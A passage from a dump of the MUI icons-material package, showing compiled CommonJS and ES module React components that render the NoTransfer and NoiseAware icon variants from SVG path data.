    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.83 12H18v3.17zm-5.66 0 5 5H6.63l-.29-.27C6.21 16.62 6 16.37 6 16v-4zm.83 2.5c0-.83-.67-1.5-1.5-1.5S7 13.67 7 14.5 7.67 16 8.5 16s1.5-.67 1.5-1.5M7.82 4.99h9.83C17.11 4.46 15.69 4 12 4c-2.4 0-3.83.2-4.69.48z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 13c.83 0 1.5.67 1.5 1.5S9.33 16 8.5 16 7 15.33 7 14.5 7.67 13 8.5 13M7.31 4.48C8.17 4.2 9.6 4 12 4c3.69 0 5.11.46 5.66.99H7.82l2 2H18V10h-5.17l2 2H18v3.17l1.81 1.81c.11-.31.19-.63.19-.98V6c0-3.5-3.58-4-8-4-2.52 0-4.76.16-6.22.95zm12.47 18.13-1.64-1.64c-.05.01-.09.03-.14.03h-1c-.55 0-1-.45-1-1v-1H8v1c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-1.78c-.61-.55-1-1.34-1-2.22V6.83L1.39 4.22 2.8 2.81l18.38 18.38zM6 8.83V10h1.17zM14.17 17l-5-5H6v4c0 .37.21.62.34.73l.29.27z\"\n}, \"1\")], 'NoTransferTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseAware.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 15h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.6 6.58 1.58 1.26c.35-.57.77-1.1 1.24-1.57L4.85 5.02c-.47.47-.88 1-1.25 1.56m5.86-2.16-.87-1.81c-.63.23-1.24.52-1.8.87l.87 1.81q.84-.54 1.8-.87M4.49 9.26l-1.96-.45c-.21.63-.36 1.28-.44 1.95l1.96.45c.06-.68.22-1.33.44-1.95M20.4 6.58c-.36-.56-.78-1.09-1.25-1.56l-1.58 1.26c.48.47.89.99 1.24 1.57zM4.04 12.79l-1.96.45c.08.67.23 1.33.44 1.95l1.97-.45c-.22-.62-.38-1.27-.45-1.95m13.17-9.31q-.855-.525-1.8-.87l-.87 1.81q.96.33 1.8.87zM13 4.07V2.05c-.33-.03-.66-.05-1-.05s-.67.02-1 .05v2.02c.33-.04.66-.07 1-.07s.67.03 1 .07m-2 15.86v2.02c.33.03.66.05 1 .05s.67-.02 1-.05v-2.02c-.33.04-.66.07-1 .07s-.67-.03-1-.07m8.51-5.19 1.97.45c.21-.63.36-1.28.44-1.95l-1.96-.45c-.07.68-.23 1.33-.45 1.95m.45-3.53 1.96-.45c-.08-.67-.23-1.33-.44-1.95l-1.97.45c.22.62.38 1.27.45 1.95m-2.38 6.52 1.58 1.26c.47-.48.88-1 1.25-1.56l-1.58-1.26c-.36.56-.78 1.09-1.25 1.56M6.79 20.52q.855.525 1.8.87l.87-1.81q-.96-.33-1.8-.87zm7.75-.94.87 1.81c.63-.23 1.24-.52 1.8-.87l-.87-1.81q-.84.54-1.8.87M3.6 17.42c.36.56.78 1.09 1.25 1.56l1.58-1.26c-.48-.47-.89-.99-1.24-1.57z\"\n}, \"2\")], 'NoiseAware');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseAware.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 15h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.6 6.58 1.58 1.26c.35-.57.77-1.1 1.24-1.57L4.85 5.02c-.47.47-.88 1-1.25 1.56m5.86-2.16-.87-1.81c-.63.23-1.24.52-1.8.87l.87 1.81q.84-.54 1.8-.87M4.49 9.26l-1.96-.45c-.21.63-.36 1.28-.44 1.95l1.96.45c.06-.68.22-1.33.44-1.95M20.4 6.58c-.36-.56-.78-1.09-1.25-1.56l-1.58 1.26c.48.47.89.99 1.24 1.57zM4.04 12.79l-1.96.45c.08.67.23 1.33.44 1.95l1.97-.45c-.22-.62-.38-1.27-.45-1.95m13.17-9.31q-.855-.525-1.8-.87l-.87 1.81q.96.33 1.8.87zM13 4.07V2.05c-.33-.03-.66-.05-1-.05s-.67.02-1 .05v2.02c.33-.04.66-.07 1-.07s.67.03 1 .07m-2 15.86v2.02c.33.03.66.05 1 .05s.67-.02 1-.05v-2.02c-.33.04-.66.07-1 .07s-.67-.03-1-.07m8.51-5.19 1.97.45c.21-.63.36-1.28.44-1.95l-1.96-.45c-.07.68-.23 1.33-.45 1.95m.45-3.53 1.96-.45c-.08-.67-.23-1.33-.44-1.95l-1.97.45c.22.62.38 1.27.45 1.95m-2.38 6.52 1.58 1.26c.47-.48.88-1 1.25-1.56l-1.58-1.26c-.36.56-.78 1.09-1.25 1.56M6.79 20.52q.855.525 1.8.87l.87-1.81q-.96-.33-1.8-.87zm7.75-.94.87 1.81c.63-.23 1.24-.52 1.8-.87l-.87-1.81q-.84.54-1.8.87M3.6 17.42c.36.56.78 1.09 1.25 1.56l1.58-1.26c-.48-.47-.89-.99-1.24-1.57z\"\n}, \"2\")], 'NoiseAware');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseAwareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 15h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.6 6.58 1.58 1.26c.35-.57.77-1.1 1.24-1.57L4.85 5.02c-.47.47-.88 1-1.25 1.56m5.86-2.16-.87-1.81c-.63.23-1.24.52-1.8.87l.87 1.81q.84-.54 1.8-.87M4.49 9.26l-1.96-.45c-.21.63-.36 1.28-.44 1.95l1.96.45c.06-.68.22-1.33.44-1.95M20.4 6.58c-.36-.56-.78-1.09-1.25-1.56l-1.58 1.26c.48.47.89.99 1.24 1.57zM4.04 12.79l-1.96.45c.08.67.23 1.33.44 1.95l1.97-.45c-.22-.62-.38-1.27-.45-1.95m13.17-9.31q-.855-.525-1.8-.87l-.87 1.81q.96.33 1.8.87zM13 4.07V2.05c-.33-.03-.66-.05-1-.05s-.67.02-1 .05v2.02c.33-.04.66-.07 1-.07s.67.03 1 .07m-2 15.86v2.02c.33.03.66.05 1 .05s.67-.02 1-.05v-2.02c-.33.04-.66.07-1 .07s-.67-.03-1-.07m8.51-5.19 1.97.45c.21-.63.36-1.28.44-1.95l-1.96-.45c-.07.68-.23 1.33-.45 1.95m.45-3.53 1.96-.45c-.08-.67-.23-1.33-.44-1.95l-1.97.45c.22.62.38 1.27.45 1.95m-2.38 6.52 1.58 1.26c.47-.48.88-1 1.25-1.56l-1.58-1.26c-.36.56-.78 1.09-1.25 1.56M6.79 20.52q.855.525 1.8.87l.87-1.81q-.96-.33-1.8-.87zm7.75-.94.87 1.81c.63-.23 1.24-.52 1.8-.87l-.87-1.81q-.84.54-1.8.87M3.6 17.42c.36.56.78 1.09 1.25 1.56l1.58-1.26c-.48-.47-.89-.99-1.24-1.57z\"\n}, \"2\")], 'NoiseAwareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseAwareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 15h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.6 6.58 1.58 1.26c.35-.57.77-1.1 1.24-1.57L4.85 5.02c-.47.47-.88 1-1.25 1.56m5.86-2.16-.87-1.81c-.63.23-1.24.52-1.8.87l.87 1.81q.84-.54 1.8-.87M4.49 9.26l-1.96-.45c-.21.63-.36 1.28-.44 1.95l1.96.45c.06-.68.22-1.33.44-1.95M20.4 6.58c-.36-.56-.78-1.09-1.25-1.56l-1.58 1.26c.48.47.89.99 1.24 1.57zM4.04 12.79l-1.96.45c.08.67.23 1.33.44 1.95l1.97-.45c-.22-.62-.38-1.27-.45-1.95m13.17-9.31q-.855-.525-1.8-.87l-.87 1.81q.96.33 1.8.87zM13 4.07V2.05c-.33-.03-.66-.05-1-.05s-.67.02-1 .05v2.02c.33-.04.66-.07 1-.07s.67.03 1 .07m-2 15.86v2.02c.33.03.66.05 1 .05s.67-.02 1-.05v-2.02c-.33.04-.66.07-1 .07s-.67-.03-1-.07m8.51-5.19 1.97.45c.21-.63.36-1.28.44-1.95l-1.96-.45c-.07.68-.23 1.33-.45 1.95m.45-3.53 1.96-.45c-.08-.67-.23-1.33-.44-1.95l-1.97.45c.22.62.38 1.27.45 1.95m-2.38 6.52 1.58 1.26c.47-.48.88-1 1.25-1.56l-1.58-1.26c-.36.56-.78 1.09-1.25 1.56M6.79 20.52q.855.525 1.8.87l.87-1.81q-.96-.33-1.8-.87zm7.75-.94.87 1.81c.63-.23 1.24-.52 1.8-.87l-.87-1.81q-.84.54-1.8.87M3.6 17.42c.36.56.78 1.09 1.25 1.56l1.58-1.26c-.48-.47-.89-.99-1.24-1.57z\"\n}, \"2\")], 'NoiseAwareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseAwareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.62 16.45c.36-.65-.15-1.45-.9-1.45-.34 0-.68.16-.84.47s-.5.53-.88.53c-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c.98 0 1.84.57 2.24 1.4.18.36.52.6.91.6.75 0 1.22-.79.89-1.46C14.82 7.04 13.28 6 11.5 6c-2.89 0-5.15 2.74-4.33 5.76.22.8.68 1.51 1.27 2.1l1.27 1.27c.15.16.28.38.4.71.41 1.13 1.38 2.04 2.58 2.16 1.26.11 2.38-.54 2.93-1.55\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"3\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"21\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.75 7.01c.34-.43.27-1.06-.16-1.41-.43-.34-1.06-.27-1.41.17-.34.43-.27 1.06.16 1.4s1.06.27 1.41-.16m12.5 9.98c-.34.43-.27 1.06.16 1.41s1.06.27 1.41-.16c.34-.43.27-1.06-.16-1.41-.43-.34-1.06-.27-1.41.16M4.2 13.78c-.12-.54-.66-.88-1.2-.75s-.88.66-.75 1.2c.12.54.66.88 1.2.75.54-.12.87-.66.75-1.2m15.6-3.56c.12.54.66.88 1.2.75s.88-.66.75-1.2-.66-.88-1.2-.75c-.54.12-.87.66-.75 1.2M8.53 19.21c-.5-.24-1.1-.03-1.33.47-.24.5-.03 1.1.47 1.33.5.24 1.1.03 1.33-.47.24-.49.03-1.09-.47-1.33m6.94-14.42c.5.24 1.1.03 1.33-.47.24-.5.03-1.1-.47-1.33-.5-.24-1.1-.03-1.33.47-.24.49-.03 1.09.47 1.33m0 14.42c-.5.24-.71.84-.47 1.33s.84.71 1.33.47c.5-.24.71-.84.47-1.33-.23-.5-.83-.71-1.33-.47M8.53 4.79c.5-.24.7-.83.47-1.33-.24-.5-.84-.71-1.33-.47s-.72.84-.48 1.34.84.7 1.34.46M21 13.03c-.54-.12-1.07.21-1.2.75-.12.54.21 1.07.75 1.2.54.12 1.07-.21 1.2-.75.12-.54-.21-1.08-.75-1.2M3 10.97c.54.12 1.07-.21 1.2-.75.12-.54-.21-1.07-.75-1.2s-1.07.21-1.2.75c-.12.54.21 1.08.75 1.2m16.66-3.8c.43-.34.5-.97.16-1.41s-.97-.5-1.41-.16c-.43.34-.5.97-.16 1.41.35.43.98.5 1.41.16M4.34 16.83c-.43.34-.5.97-.16 1.41.34.43.97.5 1.41.16.43-.34.5-.97.16-1.41s-.98-.5-1.41-.16\"\n}, \"4\")], 'NoiseAwareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseAwareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.62 16.45c.36-.65-.15-1.45-.9-1.45-.34 0-.68.16-.84.47s-.5.53-.88.53c-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c.98 0 1.84.57 2.24 1.4.18.36.52.6.91.6.75 0 1.22-.79.89-1.46C14.82 7.04 13.28 6 11.5 6c-2.89 0-5.15 2.74-4.33 5.76.22.8.68 1.51 1.27 2.1l1.27 1.27c.15.16.28.38.4.71.41 1.13 1.38 2.04 2.58 2.16 1.26.11 2.38-.54 2.93-1.55\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"3\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"21\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.75 7.01c.34-.43.27-1.06-.16-1.41-.43-.34-1.06-.27-1.41.17-.34.43-.27 1.06.16 1.4s1.06.27 1.41-.16m12.5 9.98c-.34.43-.27 1.06.16 1.41s1.06.27 1.41-.16c.34-.43.27-1.06-.16-1.41-.43-.34-1.06-.27-1.41.16M4.2 13.78c-.12-.54-.66-.88-1.2-.75s-.88.66-.75 1.2c.12.54.66.88 1.2.75.54-.12.87-.66.75-1.2m15.6-3.56c.12.54.66.88 1.2.75s.88-.66.75-1.2-.66-.88-1.2-.75c-.54.12-.87.66-.75 1.2M8.53 19.21c-.5-.24-1.1-.03-1.33.47-.24.5-.03 1.1.47 1.33.5.24 1.1.03 1.33-.47.24-.49.03-1.09-.47-1.33m6.94-14.42c.5.24 1.1.03 1.33-.47.24-.5.03-1.1-.47-1.33-.5-.24-1.1-.03-1.33.47-.24.49-.03 1.09.47 1.33m0 14.42c-.5.24-.71.84-.47 1.33s.84.71 1.33.47c.5-.24.71-.84.47-1.33-.23-.5-.83-.71-1.33-.47M8.53 4.79c.5-.24.7-.83.47-1.33-.24-.5-.84-.71-1.33-.47s-.72.84-.48 1.34.84.7 1.34.46M21 13.03c-.54-.12-1.07.21-1.2.75-.12.54.21 1.07.75 1.2.54.12 1.07-.21 1.2-.75.12-.54-.21-1.08-.75-1.2M3 10.97c.54.12 1.07-.21 1.2-.75.12-.54-.21-1.07-.75-1.2s-1.07.21-1.2.75c-.12.54.21 1.08.75 1.2m16.66-3.8c.43-.34.5-.97.16-1.41s-.97-.5-1.41-.16c-.43.34-.5.97-.16 1.41.35.43.98.5 1.41.16M4.34 16.83c-.43.34-.5.97-.16 1.41.34.43.97.5 1.41.16.43-.34.5-.97.16-1.41s-.98-.5-1.41-.16\"\n}, \"4\")], 'NoiseAwareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseAwareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 15h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.6 6.58 1.58 1.26c.35-.57.77-1.1 1.24-1.57L4.85 5.02c-.47.47-.88 1-1.25 1.56m5.86-2.16-.87-1.81c-.63.23-1.24.52-1.8.87l.87 1.81q.84-.54 1.8-.87M4.49 9.26l-1.96-.45c-.21.63-.36 1.28-.44 1.95l1.96.45c.06-.68.22-1.33.44-1.95M20.4 6.58c-.36-.56-.78-1.09-1.25-1.56l-1.58 1.26c.48.47.89.99 1.24 1.57zM4.04 12.79l-1.96.45c.08.67.23 1.33.44 1.95l1.97-.45c-.22-.62-.38-1.27-.45-1.95m13.17-9.31q-.855-.525-1.8-.87l-.87 1.81q.96.33 1.8.87zM13 4.07V2.05c-.33-.03-.66-.05-1-.05s-.67.02-1 .05v2.02c.33-.04.66-.07 1-.07s.67.03 1 .07m-2 15.86v2.02c.33.03.66.05 1 .05s.67-.02 1-.05v-2.02c-.33.04-.66.07-1 .07s-.67-.03-1-.07m8.51-5.19 1.97.45c.21-.63.36-1.28.44-1.95l-1.96-.45c-.07.68-.23 1.33-.45 1.95m.45-3.53 1.96-.45c-.08-.67-.23-1.33-.44-1.95l-1.97.45c.22.62.38 1.27.45 1.95m-2.38 6.52 1.58 1.26c.47-.48.88-1 1.25-1.56l-1.58-1.26c-.36.56-.78 1.09-1.25 1.56M6.79 20.52q.855.525 1.8.87l.87-1.81q-.96-.33-1.8-.87zm7.75-.94.87 1.81c.63-.23 1.24-.52 1.8-.87l-.87-1.81q-.84.54-1.8.87M3.6 17.42c.36.56.78 1.09 1.25 1.56l1.58-1.26c-.48-.47-.89-.99-1.24-1.57z\"\n}, \"2\")], 'NoiseAwareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseAwareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 15h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.6 6.58 1.58 1.26c.35-.57.77-1.1 1.24-1.57L4.85 5.02c-.47.47-.88 1-1.25 1.56m5.86-2.16-.87-1.81c-.63.23-1.24.52-1.8.87l.87 1.81q.84-.54 1.8-.87M4.49 9.26l-1.96-.45c-.21.63-.36 1.28-.44 1.95l1.96.45c.06-.68.22-1.33.44-1.95M20.4 6.58c-.36-.56-.78-1.09-1.25-1.56l-1.58 1.26c.48.47.89.99 1.24 1.57zM4.04 12.79l-1.96.45c.08.67.23 1.33.44 1.95l1.97-.45c-.22-.62-.38-1.27-.45-1.95m13.17-9.31q-.855-.525-1.8-.87l-.87 1.81q.96.33 1.8.87zM13 4.07V2.05c-.33-.03-.66-.05-1-.05s-.67.02-1 .05v2.02c.33-.04.66-.07 1-.07s.67.03 1 .07m-2 15.86v2.02c.33.03.66.05 1 .05s.67-.02 1-.05v-2.02c-.33.04-.66.07-1 .07s-.67-.03-1-.07m8.51-5.19 1.97.45c.21-.63.36-1.28.44-1.95l-1.96-.45c-.07.68-.23 1.33-.45 1.95m.45-3.53 1.96-.45c-.08-.67-.23-1.33-.44-1.95l-1.97.45c.22.62.38 1.27.45 1.95m-2.38 6.52 1.58 1.26c.47-.48.88-1 1.25-1.56l-1.58-1.26c-.36.56-.78 1.09-1.25 1.56M6.79 20.52q.855.525 1.8.87l.87-1.81q-.96-.33-1.8-.87zm7.75-.94.87 1.81c.63-.23 1.24-.52 1.8-.87l-.87-1.81q-.84.54-1.8.87M3.6 17.42c.36.56.78 1.09 1.25 1.56l1.58-1.26c-.48-.47-.89-.99-1.24-1.57z\"\n}, \"2\")], 'NoiseAwareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseAwareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 15h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.6 6.58 1.58 1.26c.35-.57.77-1.1 1.24-1.57L4.85 5.02c-.47.47-.88 1-1.25 1.56m5.86-2.16-.87-1.81c-.63.23-1.24.52-1.8.87l.87 1.81q.84-.54 1.8-.87M4.49 9.26l-1.96-.45c-.21.63-.36 1.28-.44 1.95l1.96.45c.06-.68.22-1.33.44-1.95M20.4 6.58c-.36-.56-.78-1.09-1.25-1.56l-1.58 1.26c.48.47.89.99 1.24 1.57zM4.04 12.79l-1.96.45c.08.67.23 1.33.44 1.95l1.97-.45c-.22-.62-.38-1.27-.45-1.95m13.17-9.31q-.855-.525-1.8-.87l-.87 1.81q.96.33 1.8.87zM13 4.07V2.05c-.33-.03-.66-.05-1-.05s-.67.02-1 .05v2.02c.33-.04.66-.07 1-.07s.67.03 1 .07m-2 15.86v2.02c.33.03.66.05 1 .05s.67-.02 1-.05v-2.02c-.33.04-.66.07-1 .07s-.67-.03-1-.07m8.51-5.19 1.97.45c.21-.63.36-1.28.44-1.95l-1.96-.45c-.07.68-.23 1.33-.45 1.95m.45-3.53 1.96-.45c-.08-.67-.23-1.33-.44-1.95l-1.97.45c.22.62.38 1.27.45 1.95m-2.38 6.52 1.58 1.26c.47-.48.88-1 1.25-1.56l-1.58-1.26c-.36.56-.78 1.09-1.25 1.56M6.79 20.52q.855.525 1.8.87l.87-1.81q-.96-.33-1.8-.87zm7.75-.94.87 1.81c.63-.23 1.24-.52 1.8-.87l-.87-1.81q-.84.54-1.8.87M3.6 17.42c.36.56.78 1.09 1.25 1.56l1.58-1.26c-.48-.47-.89-.99-1.24-1.57z\"\n}, \"2\")], 'NoiseAwareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseAwareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 15h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.6 6.58 1.58 1.26c.35-.57.77-1.1 1.24-1.57L4.85 5.02c-.47.47-.88 1-1.25 1.56m5.86-2.16-.87-1.81c-.63.23-1.24.52-1.8.87l.87 1.81q.84-.54 1.8-.87M4.49 9.26l-1.96-.45c-.21.63-.36 1.28-.44 1.95l1.96.45c.06-.68.22-1.33.44-1.95M20.4 6.58c-.36-.56-.78-1.09-1.25-1.56l-1.58 1.26c.48.47.89.99 1.24 1.57zM4.04 12.79l-1.96.45c.08.67.23 1.33.44 1.95l1.97-.45c-.22-.62-.38-1.27-.45-1.95m13.17-9.31q-.855-.525-1.8-.87l-.87 1.81q.96.33 1.8.87zM13 